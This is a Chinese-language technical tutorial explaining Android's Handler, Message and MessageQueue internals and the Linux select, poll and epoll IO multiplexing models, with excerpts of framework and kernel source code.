                    // TODO(lifecycler): Recycle locally scheduled transactions.
                    break;
                case RELAUNCH_ACTIVITY:
                    handleRelaunchActivityLocally((IBinder) msg.obj);
                    break;
                case PURGE_RESOURCES:
                    schedulePurgeIdler();
                    break;
                case ATTACH_STARTUP_AGENTS:
                    handleAttachStartupAgents((String) msg.obj);
                    break;
                case UPDATE_UI_TRANSLATION_STATE:
                    final SomeArgs args = (SomeArgs) msg.obj;
                    updateUiTranslationState((IBinder) args.arg1, (int) args.arg2,
                            (TranslationSpec) args.arg3, (TranslationSpec) args.arg4,
                            (List<AutofillId>) args.arg5, (UiTranslationSpec) args.arg6);
                    break;
                case SET_CONTENT_CAPTURE_OPTIONS_CALLBACK:
                    handleSetContentCaptureOptionsCallback((String) msg.obj);
                    break;
                case INSTRUMENT_WITHOUT_RESTART:
                    handleInstrumentWithoutRestart((AppBindData) msg.obj);
                    break;
                case FINISH_INSTRUMENTATION_WITHOUT_RESTART:
                    handleFinishInstrumentationWithoutRestart();
                    break;
            }
            Object obj = msg.obj;
            if (obj instanceof SomeArgs) {
                ((SomeArgs) obj).recycle();
            }
            if (DEBUG_MESSAGES) Slog.v(TAG, "<<< done: " + codeToString(msg.what));
        }
    }
答:为什么Looper.loop() 不会被阻塞?
  1. ActivityThread的main函数中通过Looper.loop阻塞线程从而保证APP不会结束如果主线程不阻塞那么程序就在main函数结束退出了
  2. 之所以Android主线程执行Looper.loop后不卡死,是因为Android是以事件驱动型的系统;当没有事件的时候,系统就会阻塞不执行任何操作,释放CPU资源;当有事件时,系统又执行处理。

Message

Message如何创建效果更好?

Message的创建方式有两种,一种是handler.obtainMessage() Message.obatin() ,另一种是new Message()

对象的创建方式与内存抖动会有很大关系;什么是内存抖动? 内存抖动是短时间大量创建对象并销毁,从而出现大量的内存开辟与回收,导致应用占用的内存大小出现极端的忽高忽低,这种现象就是内存抖动

使用handler.obtainMessage()推荐使用 Message.obatin() 的方式比较好,如果直接new Message可能会开辟一个新的内存空间浪费资源,而使用obtain() 则能复用之前的Message对象,从而减少性能开销。

  1. 因为Handler处理的消息不仅仅是客户端发送的Message,还有系统发送的Message,如果所有的Message创建都通过new创建新内存的话,Message实例创建太多,会导致出现内存抖动
  2. 内存抖动的解决方式就是内存复用,在Message中如何复用的呢?Message使用了一个回收池,会将被使用完的Message放入回收池,当外部调用Message.recycle() ,消息会被放入Message的回收池。
    当我们调用Message.obtain(),会从回收取出一个被使用完了的Message,进行复用。

Message的回收池-单向链表

Message回收池使用什么容器来存储Message更高效?在JVM中,使用集合效率更高,而集合有很多种;我们从回收池取出容器是随便取一个就可以使用的,所以不需要支持查找,那么就可以排除掉list、数组、map;所以使用链表会更高效,链表有单向和双向链表,自然选择单向,越简单的越高效。所以Message的回收池使用的就是单向链表 (单向链表性能最高)

单向链表有两个很重要的特征

  1. Message中存在信息指向下一个引用
  2. 单向链表必须有一个头,用来记录内部第一个元素对象的引用 ,所以单向链表需要有一个头(唯一的引用,所以必须是static,才能保证唯一)。

所以在Message内部有个 静态的引用 ,叫做sPool ,用于记录单向链表中的第一个元素的引用; 我们必须通过这个sPool才能够找到单向链表的第一个引用,从而通过第一个引用的next变量找到下一个的引用。

同时Message的回收池除了 之外,还需要实现 插入 ;而 单向链表作为回收池,不能无限的存储Message,如果没控制好,数量太大了会内存占用过大会OOM,所以还需要添加sPoolSize量记录回收池的当前大小。

并且Message中还有一个MAX_POOL_SIZE常量,用于限制Message回收池的最大容量(当回收池数量已经达到最大容量时,就不会继续往回收池存入了,而是直接释放Message),API 34的源码中是限制容量 50个。**
**

Message回收池的插入:当调用Message.recycler()回收Message时,该方法会将当前Message作为回收池单向链表的第一个元素插入,并将之前首元素的引用赋值到当前Message的next变量。

在Android系统中,还有其他涉及到大量创建大量销毁的地方也使用了回收池,比如 Touch事件分发

在ViewGroup中,当我们产生Touch事件,ViewGroup会分发TouchTarget触摸事件。这个TouchTarget内部就设计了回收池,这是一个非常典型的单向链表,如图:

Message是如何复用的?

Message在obtain() 函数中实现复用。

具体为实现为:通过sPool将回收池的第一个Message实例取出复用,同时将Messagenext引用赋值给sPoolm.flags = 0则表示当前Message实例可以被自由使用。0表示已清除状态,可用;1表示未清除,还不可直接使用。
当然,如果sPool回收池中没有Message实例,那么就直接new Message创建。

Handler

Handler.enqueueMessage

在我们手写Handler时有提到,Handler在把消息enqueueMessage时,会把自身的引用放入到Message的一个变量中;我们再回到官方的Handler中,可以看到在enqueueMessage()时,handler把自身实例的引用传给了Message的target变量。

继续看Message.target,可以看到target的类型是handler,所以Message的target变量存储的是handler对象的引用。

MessageQueue.enqueueMessa()

之后handler.enqueueMessa继续往下执行,handler调用MessageQueue.enqueueMessa(),我们进入到MessageQueue的QueueMessage源码中。

我们发现,系统的MessageQueue比我们手写的MessageQueue要多很多;我们自己手写的MessageQueue则是通过 阻塞队列ArrayBlockingQueue 实现消息存取,而官方的MessageQueue 的消息队列是通过 单向链表 来实现的(在下方截图中可以看出,这里做了一个典型的单向链表数据插入操作)。

@UnsupportedAppUsage
Message mMessages;

boolean enqueueMessage(Message msg, long when) {
    if (msg.target == null) {
        throw new IllegalArgumentException("Message must have a target.");
    }

    synchronized (this) {
        if (msg.isInUse()) {
            throw new IllegalStateException(msg + " This message is already in use.");
        }

        if (mQuitting) {
            IllegalStateException e = new IllegalStateException(
                msg.target + " sending message to a Handler on a dead thread");
            Log.w(TAG, e.getMessage(), e);
            msg.recycle();
            return false;
        }

        msg.markInUse();
        msg.when = when;
        Message p = mMessages;
        boolean needWake;
        if (p == null || when == 0 || when < p.when) {
            // New head, wake up the event queue if blocked.
            msg.next = p;
            mMessages = msg;
            needWake = mBlocked;
        } else {
            // Inserted within the middle of the queue.  Usually we don't have to wake
            // up the event queue unless there is a barrier at the head of the queue
            // and the message is the earliest asynchronous message in the queue.
            needWake = mBlocked && p.target == null && msg.isAsynchronous();
            Message prev;
            for (;;) {
                prev = p;
                p = p.next;
                if (p == null || when < p.when) {
                    break;
                }
                if (needWake && p.isAsynchronous()) {
                    needWake = false;
                }
            }
            msg.next = p; // invariant: p == prev.next
            prev.next = msg;
        }

        // We can assume mPtr != 0 because mQuitting is false.
        if (needWake) {
            nativeWake(mPtr);
        }
    }
    return true;
}

Looper.loop()handler.dispatchMessage()

为了进一步验证我们的猜想,我们接下来去Looper.loop中,看看是不是使用到了Messagetarget;和咱手写的Handler一样,确实是通过Message.target来调用dispatchMessage()

我们进入到Handler.dispatchMessage(),可以看到,有两种执行方式:

  1. 如果Message中配置了CallBack变量(CallBack:比方说我们使用 handler.post(Runable runable)时,其内部会构建一个Message,将runable赋值到Message.callBack变量中),那么则回调callback;
  2. 如果Message中没有配置CallBack,那么则走handlerMessage()。

走完Handler.dispatchMessage后,Looper这边的代码最后会将Message执行一个recycleUnchecked函数

recycleUnchecked函数的作用就是将当前Message放入回收池(回收池没满时):

MessageQueue如何管理消息队列

为什么官方的MessageQueue不使用 Java 的阻塞队列呢?

我们前面提到官方的MessageQueue应该是通过 单向链表 来实现消息队列的;

那么为什么官方的MessageQueue不使用阻塞队列呢,主要是以下两种原因

  1. 阻塞队列 不支持以时间排序 :阻塞队列ArrayBlockingQueue 也是能保证消息顺序是先进先出的,但是别忘了官方的Handler除了要支持消息先进先出,还要支持在指定的时间出来执行,如sendMessageAtTime,所以阻塞队列ArrayBlockingQueue是无法满足以时间排序需求的。
  2. 阻塞队列的 阻塞方式不满足大量消息情况下的高效处理 阻塞队列ArrayBlockingQueue的阻塞是用的 Java对象锁,当消息数量很多时(需要等待前面的执行完才继续下一个,耗时),容易造成死锁 ,无法满足我们需求 **。
    **而官方的消息队列则是使用了 epoll机制来解决这个问题。

可以使用PriortyBockingQueue阻塞队列来满足配置优先级以时间排序,但是使用PriortyBockingQueue的话还是需要面对第二个因素Java锁机制实现阻塞无法满足大量消息情况下的高效使用

Java 阻塞队列ArrayBlockingQueue的阻塞方式

ArrayBlockingQueue 中,我们进行puttake时是通过Java锁的方式来实现阻塞等待的:

put函数中,我们调用put存入元素,此时put函数确保元素不为null,之后获取当前实例的ReentrantLock lock对象,并等待/获取锁,得到锁后,开启一个while循环,判断当前队列是否存满,如果存满了则通过 notFull.await()阻塞线程,直到其他线程信号通知当前队列未满,继续执行下一行代码,将元素添加到队列中。

take函数中,也是通过类似方式,先等待获取锁,如果发现队列为空没有元素可取,就notEmpty.await();阻塞线程,直到有新的元素存入队列,才被唤醒,将元素取出。

/** The queued items */
@SuppressWarnings("serial") // Conditionally serializable
final Object[] items;
/** Number of elements in the queue */
int count;

public void put(E e) throws InterruptedException {
    // 确保传入的元素不为 null
    Objects.requireNonNull(e);
    // 获取 ReentrantLock 实例
    final ReentrantLock lock = this.lock;
    // 以可中断的方式加锁
    lock.lockInterruptibly();
    try {
        // 如果队列已满,则等待
        while (count == items.length)
            notFull.await();//当前线程等待,直到 notFull 条件被其他线程信号通知(即队列不再满)。
        // 将元素添加到队列中
        enqueue(e);
    } finally {
        // 释放锁
        lock.unlock();
    }
}

public E take() throws InterruptedException {
    // 获取 ReentrantLock 实例
    final ReentrantLock lock = this.lock;
    // 以可中断的方式加锁
    lock.lockInterruptibly();
    try {
        // 如果队列为空,则等待
        while (count == 0)
            notEmpty.await();
        // 从队列中移除并返回一个元素
        return dequeue();
    } finally {
        // 释放锁
        lock.unlock();
    }
}

private void enqueue(E e) {
    // assert lock.isHeldByCurrentThread();
    // assert lock.getHoldCount() == 1;
    // assert items[putIndex] == null;
    final Object[] items = this.items;
    items[putIndex] = e;
    if (++putIndex == items.length) putIndex = 0;
    count++;
    //当存入数据后,notEmpty通过signal唤醒take()中的阻塞
    notEmpty.signal();
}

问题一:Handler如何实现消息列表以时间排序

我们看看Handler是如何去解决这个问题;首先看Handler如何做到以时间排序的:

比如我们通过handler?.sendMessageDelayed(Message.obtain(),500);发送延时消息,那么sendMessageDelayed内部会将 Message 传递给sendMessageAtTime()函数:第一个入参就是我们的Message;第二个入参是消息在何时才执行,因为我们传的是延时500毫秒后执行,所以会通过SystemClock.uptimeMillis()获取系统已运行时间自系统开机以来的运行时间(以毫秒为单位) 并加上 需要延时的毫秒数 得到 消息执行的绝对时间

Handler.sendMessageAtTime函数则获取当前Handler的MessageQueue,并将MessageQueueMessage绝对时间三个参数传递给Handler.enqueueMessage() 函数:

Handler.enqueueMessage() 在对Message进行赋值:

  • 将当前Handler引用赋值给target
  • 当前线程的用户 ID(UID) 赋值给workSourceUid
  • mAsynchronous表示当前Handler中的Message是否开启异步(与同步屏障相关,咱现在不用太关注),参数说明如下:

之后Handler.enqueueMessage() 就调用MessageQueue的enqueueMessage的函数,将Message插入队列;

@UnsupportedAppUsage
Message mMessages;//单向链表
为什么mMessages不是静态的?因为每个Looper对应一个MessageQueue,所以mMessages不应该为静态。

boolean enqueueMessage(Message msg, long when) {
    if (msg.target == null) {
        throw new IllegalArgumentException("Message must have a target.");
    }

    synchronized (this) {
        if (msg.isInUse()) {
            throw new IllegalStateException(msg + " This message is already in use.");
        }

        if (mQuitting) {
            IllegalStateException e = new IllegalStateException(
                msg.target + " sending message to a Handler on a dead thread");
            Log.w(TAG, e.getMessage(), e);
            msg.recycle();
            return false;
        }

        msg.markInUse();
        msg.when = when;
        Message p = mMessages;
        boolean needWake;
        if (p == null || when == 0 || when < p.when) {
            // New head, wake up the event queue if blocked.
            msg.next = p;
            mMessages = msg;
            needWake = mBlocked;
        } else {
            // Inserted within the middle of the queue.  Usually we don't have to wake
            // up the event queue unless there is a barrier at the head of the queue
            // and the message is the earliest asynchronous message in the queue.
            needWake = mBlocked && p.target == null && msg.isAsynchronous();
            Message prev;
            for (;;) {
                prev = p;
                p = p.next;
                if (p == null || when < p.when) {
                    break;
                }
                if (needWake && p.isAsynchronous()) {
                    needWake = false;
                }
            }
            msg.next = p; // invariant: p == prev.next
            prev.next = msg; 
        }

        // We can assume mPtr != 0 because mQuitting is false.
        if (needWake) {
            nativeWake(mPtr);
        }
    }
    return true;
}

当我们插入消息的时候,MessageQueue就会对Message进行时间排序并插入到指定位置,比如我们往队列添加一个Message元素:

那么会先判断队列中有无其他Message该Message的执行绝对时间为0(基本不可能吧?)单向链表的第一个Message的执行时间是否大于新增的Message元素,只要满足上述三个判断的其中一个,那么就证明当前新增的消息执行时间是最靠前的,第一个执行,所以直接插入到链表头中。

反之,如果我们新增的Message执行时间不是队列的第一个,那么此时会开启一个死循环,遍历链表中的每个Message;

新增Message执行时间小于被遍历元素p.when执行时间 或 已经遍历到了单向链表末尾时:走break后,将当前遍历元素p插入到新增的Messagemsg的后一个位置msg.next = p;,并将上一个遍历元素的next指向新增的Messageprev.next = msg;;从而完成以时间排序的单向链表的插入

问题二:Handler 如何实现阻塞,以支持高效处理大量消息

Handler为什么不使用BlockingQueue阻塞队列的具体原因:

队列的本质是往队列中添加数据,假设我们单纯通过ArrayBlockingQueue阻塞队列实现,在应用层层面来说,是没问题的。

但是在Handler机制中会存在以下问题:

  1. 内核层到用户层的频繁切换阻塞队列主要在用户层运行,而许多系统事件(如硬件中断和驱动事件)都发生在内核层。
    1. Handler机制承载了很多系统事件,比如屏幕驱动产生的事件,因为驱动运行在内核层,而内核层要将内核层的内存数据发出来,并调用应用层用户代码,即驱动->内核->用户空间,这种做法是不能忍受的。
    2. 这些事件需要快速、高效地传递到用户层,使用阻塞队列可能会导致频繁的上下文切换(内核态与用户态之间),这在高频率事件下会显著影响系统性能
  1. 死锁风险其次通过BlockingQueue来实现Handler消息队列也极容易发生死锁。
    1. 阻塞队列在满时会导致生产者线程阻塞,而在空时会导致消费者线程阻塞。如果设计不当,可能会出现死锁情况。
    2. 特别是在复杂的系统环境中,如多个线程和资源竞争,使用阻塞队列容易产生死锁。

Android 中由 驱动->系统->APP 间的事件传递

在Android系统中,系统是为很多个APP服务的,这也是很典型的C/S模型。

C/S模型,即Client/Server模型,是一种常见的网络架构模式,用于描述客户端(Client)和服务器(Server)之间的关系。

所以,面对这种情况有什么通信方式是C/S模型呢?答案是socket

假如我们是系统设计者,那么我会在系统中创建一个socket服务端ServerSocket ,之后所有APP都连接到当前服务;当驱动层产生事件时,会由系统将事件分发到每个APP中。而系统事件的分发则是由Android系统来处理

那么这里有几种处理方式:

  1. 方式一 :单一IO 将事件给到系统,系统将事件逐个给每个APP,当一个APP完成后,再给下一个APP处理,直到所有目标APP处理完当前事件。系统服务才继续发送下一个事件。这种方式就是单一IO,是会阻塞的。
  2. 方式二:非阻塞IO
    当一个事件生成时,驱动层会将事件传递给系统层
    ,系统服务会根据事件的类型和目标应用程序,将事件插入到相应应用程序的消息队列MessageQueue在绝大多数情况下,事件是逐个发送的。系统服务会将每个事件按顺序插入到相应应用程序的消息队列中。严格意义上来说,事件的发送过程本身不是并行的。但是,系统可以同时管理多个消息队列并向多个应用程序分发事件。
    应用程序的主线程再通过Looper从MessageQueue中取出事件,交给Handler处理。由于一个线程只有一个Looper,一个Looper只有一个MessageQueue,所以在APP中系统事件的处理通常是逐个完成的;如果应用程序使用了多线程或其他并发机制,也是可以实现并行处理的效果。
    在 Android 系统中,当驱动产生多个事件后,系统层通常会逐个事件发送到相应的应用程序,而应用程序是逐个接收和处理这些事件的。不过,通过合理的线程管理和并发编程,应用程序可以实现并行处理多个事件的效果。
传递流程概述
  1. 驱动层生成事件:硬件设备(如触摸屏、按键等)生成输入事件,并通过驱动程序传递到内核的输入子系统。
  2. 内核层处理事件:内核的输入子系统将事件传递给用户空间,通过 /dev/input 设备节点暴露。
  3. EventHub 监听事件:用户空间的 EventHub 组件使用 epoll 监听 /dev/input 设备节点,读取并处理事件。
    EventHub 是 Android 系统中处理输入事件的一个关键组件,位于 Framework 层。它是 InputManager 的一部分,负责从内核的输入子系统获取输入事件,并将其传递给上层进行处理。具体来说,EventHubInputReaderInputDispatcher 之间的桥梁。
  4. InputReader 解析事件EventHub 将事件传递给 InputReader 进行解析。
  5. InputDispatcher 分发事件InputReader 将解析后的事件交给 InputDispatcher 分发。
  6. WindowManagerService 处理事件InputDispatcher 将事件分发给相应的窗口(WindowManagerService),根据当前活动窗口决定目标应用。
  7. 应用层接收事件:事件通过 Binder 机制传递到应用进程的 Looper,放入应用的 MessageQueue
  8. Handler 处理事件MessageQueue 中的事件最终由 Handler 处理。
为什么不使用binder?

binder拷贝数据是可以实现用户层拷贝到内核层,如copy_from_user;而内核层要拷贝到用户层(从内核态传给用户态 EventHub),则用copy_to_user;通过binder也可以实现内核层到应用层的通信。

但是:Android系统中有很多驱动,这些驱动会产生很多事件;如果系统的驱动层全部事件都通过bindercopy_to_user 拷贝给应用层,应用层再接收;这样就把一个进程就能处理的事情,做成了进程间通信,得不偿失。

Java源码中Socket非阻塞IO实现

Socket就是一种非阻塞式IO,我们在代码层创建一个Socket服务(伪代码):

进入源码 (JDK11版本) ,ServerSocket的构造函数中调用了setImpl()函数:

进入到setImpl()函数中,可以看到当前Socket创建了一个SocksSocketImpl实现类。

当我们执行serverSocket.accept()等待客户端链接时,深入代码,看到执行了一个implAccept函数:

继续进入implAccept()函数,可以看到getImpl().accept(si),getImpl顾名思义就是前面创建的SocksSocketImpl对象,我们进入SocksSocketImpl类中找accept函数。

SocksSocketImpl中没找到对应的函数名,继续找该类的父类PlainSocketImpl发现也没有,再继续深入父类的父类AbstractPlainSocketImpl在与找到accept函数:

接下来找socketAccept函数的实现,在PlainSocketImpl类中发现是由Native函数accept0()实现的:

所以Java的Socket就是用到了C里面的Socket

Linux 的 IO 多路复用模型

我们知道 Java的Socket是基于C语言的Socket,而C语言的Socket 则使用了 select 模型;

IO多路复用——深入浅出理解select、poll、epoll的实现

Linux中有多个IO模型:

  • 阻塞IO
  • 非阻塞IO
  • IO复用select``poll``epoll都属于IO复用模型的调用。
    • select:‌是最早的IO多路复用实现方式,‌通过监视多个文件描述符的变化来通知应用程序进行相应的操作。‌select的优点是跨平台兼容性好,‌但缺点是单个进程能够监视的文件描述符数量有限,‌且在处理大量连接时效率较低。‌
    • poll:‌是对select的改进,‌解决了select在文件描述符数量上的限制,‌但仍然存在效率问题。‌poll通过使用链表来存储文件描述符,‌避免了select中使用的位图方式在大量文件描述符情况下的效率问题。‌
    • epoll:‌是当前最先进的IO多路复用器,‌被广泛用于高性能的网络应用中,‌如Redis、‌Nginx等。‌epoll通过事件驱动的方式,‌减少了不必要的轮询,‌提高了效率。‌epoll的优点包括单个socket生命周期中只有一次从用户态拷贝到内核态的过程,‌开销小;‌使用event事件通知机制,‌每次socket中有数据会主动通知内核,‌并加入到就绪链表中,‌不需要遍历所有的socket。‌
  • 信号驱动IO
  • 异步IO

I/O多路复用就是通过一种机制,一个进程可以监视多个描述符,一旦某个描述符就绪(一般是读就绪或者写就绪),能够通知程序进行相应的读写操作。但select,poll,epoll本质上都是同步I/O,因为他们都需要在读写事件就绪后自己负责进行读写,也就是说这个读写过程是阻塞的。 但是在 IO 较多时,一个线程可以同时监听多个 IO 连接,也就能一次处理若干个连接,不需要使用轮询(浪费 CPU 周期)或多线程。所以 Handler 机制最终选择了 linux 内核的 I/O 多路复用机制。

IO 多路复用模型之 select

select模型就是IO复用的一种;Android最核心就是使用epoll,使用epoll可以达到和socket一样的处理;因为底层驱动会产生很多驱动事件,所以事件传给应用层既要快速(需要快速找到对应的目标APP),又不能阻塞;所以我们要使用和 socket 类似的通讯方式,才能高性能的实现。

select 函数
int select (int n, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, struct timeval *timeout);

/**
  * fd_set本质是一个数组,为了方便我们操作该数组,操作系统提供了以下函数:
  */
// 将文件描述符fd从set集合中删除 
void FD_CLR(int fd, fd_set *set); 

// 判断文件描述符fd是否在set集合中 
int  FD_ISSET(int fd, fd_set *set); 

// 将文件描述符fd添加到set集合中 
void FD_SET(int fd, fd_set *set); 

// 将set集合中, 所有文件描述符对应的标志位设置为0
void FD_ZERO(fd_set *set);
  • readfds:内核检测该集合中的IO是否可读。如果想让内核帮忙检测某个IO是否可读,需要手动把文件描述符加入该集合。
  • writefds:内核检测该集合中的IO是否可写。同readfds,需要手动把文件描述符加入该集合。
  • exceptfds:内核检测该集合中的IO是否异常。同readfds,需要手动把文件描述符加入该集合。
  • nfds:以上三个集合中最大的文件描述符数值 + 1,例如集合是{0,1,5,10},那么 maxfd 就是 11
  • timeout:用户线程调用select的超时时长。
    1. 设置成NULL,表示如果没有 I/O 事件发生,则 select 一直等待下去。
    2. 设置为非0的值,这个表示等待固定的一段时间后从 select 阻塞调用中返回。
    3. 设置成 0,表示根本不等待,检测完毕立即返回。

函数返回值:

  • 大于0:成功,返回集合中已就绪的IO总个数
  • 等于-1:调用失败
  • 等于0:没有就绪的IO
select调用说明
int select(
    int nfds,
    fd_set *readfds,
    fd_set *writefds,
    fd_set *exceptfds,
    struct timeval *timeout);

/*
* select函数调用伪代码:
* select函数还是返回刚刚提交的list,应用程序依然list所有的fd,只不过操作系统会将准备就绪的文件描述符做上标识,
* 用户层将不会再有无意义的系统调用开销。
*/
struct timeval timeout;
int max = 0;  // 用于记录最大的fd,在轮询中时刻更新即可
// 初始化比特位
FD_ZERO(&read_fd);
while (1) {
    // 阻塞获取 每次需要把fd从用户态拷贝到内核态
    nfds = select(max + 1, &read_fd, &write_fd, NULL, &timeout);
    // 每次需要遍历所有fd,判断有无读写事件发生
    for (int i = 0; i <= max && nfds; ++i) {
        // 只读已就绪的文件描述符,不用过多遍历
        if (i == listenfd) {
            // 这里处理accept事件
            FD_SET(i, &read_fd);//将客户端socket加入到集合中
        }
        if (FD_ISSET(i, &read_fd)) {
            // 这里处理read事件
        }
    }
}
  1. 应用进程调用 系统调用select 并传递需要监视的文件描述符集合(读、写、异常),以及一个超时时间。
    内核将这些文件描述符集合从用户态拷贝到内核态。内核接收到这些文件描述符,并根据进程的文件描述符表找到对应的文件表项。
  2. 此时 linux 内核监听文件描述符状态变化(此时阻塞等待);
    如果设置了超时时间,内核会等待到超时时间结束;如果没有设置超时时间,内核会一直阻塞等待。
  3. 在内核等待期间,内核会不断检查文件描述符的状态(通过遍历整个文件描述符集合) :如果某个文件描述符变得可读、可写或有异常发生,内核记录该文件描述符的状态变化。
  4. 当有文件描述符变得可读(例如网络套接字上有数据到达),内核将该文件描述符 标记 为可读
    同样的,如果某个文件描述符变得可写,或有异常发生,内核也会相应地标记。
  5. 之后 内核将 文件描述符集合 的状态更新,并将结果从内核态拷贝回用户态(同步到用户态的)。
    此时select 函数返回集合中已就绪的 IO 总个数(并停止阻塞),应用进程通过检查返回的文件描述符集合来确定哪些文件描述符有数据可处理。
  6. 应用进程根据 select 的返回结果,自行调用相应的 I/O 操作(如 readrecv从可读的文件描述符中读取数据
    在读取数据时,内核将数据从内核缓冲区拷贝到用户缓冲区。
  7. 读取完本次数据后,为了继续监听文件描述符的状态变化,应用进程需要重新调用 select 并提供更新后的文件描述符集合和超时时间
    应用程序如果没有完成对一个已经就绪的文件描述符进行 IO 操作,那么之后每次 select 调用还是会将这些文件描述符通知到进程。

补充:什么是文件描述符?

在操作系统中,用户态和内核态之间的文件描述符实际上是指向相同的底层文件或I/O资源。

文件描述符本身是一个索引,指向进程的文件描述符表中的条目。 浅谈文件描述符及文件系统_考虑一个文件系统,忽略目录和文件描述符-CSDN博客

此处为语雀视频卡片,点击链接查看:349279b4-9119-11eb-85d0-1278b449b310.mp4

所以假如 Android 系统使用select模型:此时有事件需要传递给 APP, 那么我们需要遍历所有的APP,才能知道当前系统事件是给到哪个APP处理;假如同时有 100 个 APP,因为“select通过遍历整个文件描述符集合来不断检查文件描述符的状态,从而达到监听效果。”,那么就要遍历 100 个 APP,这便是 select 存在的缺点。

select的缺点
  1. 单个进程能够监视的文件描述符数量存在最大限制select 使用 fd_set 结构来保存文件描述符集合fd_set 本质上是一个 位向量(bitmask) ,其大小固定,通常限制为最多可以监视 1024 个文件描述符(在 Linux 内核头文件中,有这样的定义:#define _FD_SETSIZE 1024),不过支持修改但由于 select 采用轮询的方式扫描文件描述符, 文件描述符数量越多,性能越差
  2. 内核空间与用户空间内存拷贝问题:每次调用select,都需要把被监控的fds集合从用户态空间拷贝到内核态空间,高并发场景下这样的拷贝会使得消耗的资源是很大的
  3. select 在返回时, 会将内核的文件描述符集合拷贝到传入的文件描述符集合进行修改同步,从而标记哪些文件描述符有事件发生;
    因此,应用程序需要遍历整个集合才能知道哪些文件描述符状态发生了改变(返回后,应用程序需要遍历传入的 fd_set 集合,并使用 FD_ISSET 宏来检查每个文件描述符的状态),产生了事件
  4. select 的触发方式是水平触发,应用程序如果没有完成对一个已经就绪的文件描述符进行 IO 操作,那么之后每次 select 调用还是会将这些文件描述符通知到进程。

总结:监视文件数量越多,性能消耗越大。内核空间与用户空间的内存拷贝,在高并发下性能消耗大。应用程序需要每次遍历 select的返回确认哪些文件描述符发送了变化。应用程序若果没有完成对一个已经就绪的文件描述符进行 IO 操作,那么之后每次调用 select 还是会把这几个未处理的文件描述符通知过来。

IO 多路复用模型之 poll
poll 介绍

poll的实现和select非常相似只是描述fd集合的方式不同。相比 select 模型,poll 使用 链表 保存文件描述符,因此没有了监视文件数量的限制,但其他三个缺点依然存在。

poll 函数
struct pollfd {
   int fd;           /*文件描述符*/
   short events;     /*监控的事件*/
   short revents;    /*监控事件中满足条件返回的事件*/
};

int poll(struct pollfd *fds, unsigned long nfds, int timeout);   

函数参数:

  • fds:struct pollfd类型的数组, 存储了待检测的文件描述符,struct pollfd有三个成员:
    • fd:委托内核检测的文件描述符
    • events:委托内核检测的fd事件(输入、输出、错误),每一个事件有多个取值
    • revents:这是一个传出参数,数据由内核写入,存储内核检测之后的结果
  • nfds:描述的是数组 fds 的大小
  • timeout: 指定poll函数的阻塞时长
    • -1:一直阻塞,直到检测的集合中有就绪的IO事件,然后解除阻塞函数返回
    • 0:不阻塞,不管检测集合中有没有已就绪的IO事件,函数马上返回
    • 大于0:表示 poll 调用方等待指定的毫秒数后返回

函数返回值:

  • -1:失败
  • 大于0:表示检测的集合中已就绪的文件描述符的总个数
poll 的缺点
  1. poll改变了fds集合的描述方式,使用了pollfd结构而不是select的fd_set结构,使得poll支持的fds集合限制远大于select的1024
  2. poll虽然解决了fds集合大小1024的限制问题,从实现来看。很明显它并没优化大量描述符数组被整体复制于用户态和内核态的地址空间之间以及个别描述符就绪触发整体描述符集合的遍历的低效问题
  3. poll随着监控的socket集合的增加性能线性下降使得poll也并不适合用于大并发场景
IO 多路复用模型之 epoll
epoll 介绍

在linux的网络编程中,很长的时间都在使用select来做事件触发。在linux新的内核中,有了一种替换它的机制,就是epoll;epoll 是 linux2.6 内核的一个新的系统调用,epoll 在设计之初,就是为了替代 select。相比于select,epoll最大的好处在于它不会随着监听fd数目的增长而降低效率

epollIO 多路复用模型实现机制

由于 epoll 的实现机制与 selec/poll 机制完全不同,所以前面提到的 select/poll 的缺点在 epoll 上不复存在。

设想如下场景:有 100 万个客户端同时与一个服务器进程保持 TCP 链接。而每一时刻,通常只有几百上千个 TCP 连接时活跃的,那么如何实现这样的高并发?

在 select/poll 时代,服务器进程每次都把这 100 万个连接告诉操作系统(用户态复制句柄数据结构到内核态),让操作系统的内核去查询这些套接字上是否有时间发生,当轮询完后,再将句柄数据复制到用户态,让服务器应用程序轮询处理已发生的网络事件,这一过程资源消耗较大;因此,selec/poll 一般只能处理几千的并发连接。

epoll 的设计实现与 select 完全不同。epoll 通过在 linux 内核中申请一个简易的文件系统(文件系统一般使用什么数据结构实现?B+树、红黑树;epoll 使用的红黑树)。把原先的 select/poll 调用分成了三个部分:

  1. 调用 epoll_create()建立 epoll 对象(在 epoll 文件系统中为这个句柄对象分配资源)。
  2. 调用 epoll_ctl 向 epoll 对象中添加这 100 万个连接的套接字。
  3. 调用epoll_wait收集发生了事件的连接。

如此依赖,要实现上面说的场景,只需要在进程启动时建立一个 epoll 对象,然后在需要时想这个 epoll 对象中添加删除连接。同时 epoll_wait的效率也非常高,因为调用 epoll_wait时,并不需要像 select 一样再次传入所有的文件描述符,内核也不需要去遍历全部的连接。

epoll 的核心就是 红黑树+链表,红黑树负责存储所有文件描述符,链表用于存储已就绪的文件描述符并返回。

epoll函数使用

epoll的接口非常简单,一共就三个函数:

  • epoll_create:创建一个epoll句柄。
    使用epoll_create创建一个epoll的句柄(句柄:理解为 java 的对象引用),入参为 size,用来告诉内核这个监听的数目一共有多大。这个参数不同于select()中的第一个参数,给出最大监听的fd+1的值。
    当创建好epoll句柄后,它就是会占用一个fd值,在linux下如果查看/proc/进程id/fd/,是能够看到这个fd的,所以在使用完epoll后,必须调用close()关闭,否则可能导致fd被耗尽
  • epoll_ctl:向 epoll 对象中 添加/修改/删除 要监听哪些文件描述符的哪些事件
  • epoll_wait:等待事件的产生,收集在 epoll 监控的事件中已经发送的事件,类似 select 调用

此处为语雀视频卡片,点击链接查看:346e30f4-9119-11eb-bb4a-4a238cf0c417.mp4

epoll_create 函数
int epoll_create(int size);
  • 功能: 该函数生成一个 epoll 专用的文件描述符。
  • 参数size: 用来告诉内核这个监听的数目一共有多大,参数 size 并不是限制了 epoll 所能监听的描述符最大个数,只是对内核初始分配内部数据结构的一个建议。自从 linux 2.6.8 之后,size 参数是被忽略的,也就是说可以填只有大于 0 的任意值。
  • 返回值: 如果成功,返回 poll 专用的文件描述符,否者失败,返回-1。
epoll_create 的源码实现
SYSCALL_DEFINE1(epoll_create1, int, flags)
{
    struct eventpoll *ep = NULL;

    //创建一个 eventpoll 对象
    error = ep_alloc(&ep);
}

//struct eventpoll 的定义
// file:fs/eventpoll.c
struct eventpoll {

    //sys_epoll_wait用到的等待队列
    wait_queue_head_t wq;

    //接收就绪的描述符都会放到这里
    struct list_head rdllist;

    //每个epoll对象中都有一颗红黑树
    struct rb_root rbr;

    ......
}
